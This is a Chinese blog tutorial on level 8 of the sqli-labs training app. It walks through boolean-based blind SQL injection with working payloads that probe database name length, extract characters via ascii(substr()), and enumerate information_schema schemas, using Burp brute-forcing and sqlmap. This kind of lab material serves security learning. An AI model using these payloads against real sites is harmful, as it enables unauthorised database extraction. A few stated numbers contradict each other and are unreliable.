以sqli-labs-master 闯关游戏第八关为例:
第一步:判断注入点
?id=1' and 1=2-- - //页面显示异常
?id=1' and 1=1-- - //页面正常显示
第二步:判断是什么类型的注入点
构建报错语句:
?id=1' and updatexml(1,0x7e,1)-- -
页面无显示,那就不是报错注入:
那就判断是不是布尔注入,首先判断布尔注入要先判断他的长度:
准备语句:?id=1' and length(database())=8-- -
页面有显示,那就证明是布尔注入点且数据库的长度是8

爆库名表名
猜测数据库的基本信息的长度:
and length(database())=8 -- - //页面正常显示,表示长度就是14
and length(database())=7 -- - //页面空显示,表示错误
可以使用bp进行爆破,爆破数字7
截取数据库名的第一个字母:
and ascii(substr(database(),1,1))=8 -- - //第一个字符开始截取,截取一个长度
使用bp爆破数字
再将爆破的数字,用ascii码 编码转换器,解码成对应的字母
判断mysql中数据库的数量:
and (select count(*) from information_schema.schemata)=1 -- -
使用bp爆破数字,得出正确的长度
判断第一个数据库名的长度:
and (select length(schema_name) from information_schema.schemata limit 0,1)=1-- -
使用爆破数字,得到正确的长度
判断第一个数据库名的第一个字符:
and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=1-- -
解释:limit 0,1第一个库名 后面的1,1:截取库名的第一个字母 ————1,1表示:第一个字符向后截取一个长度由于布尔注入的繁琐性:
推荐使用工具sqlmap:
版权声明:本文为Night_time原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。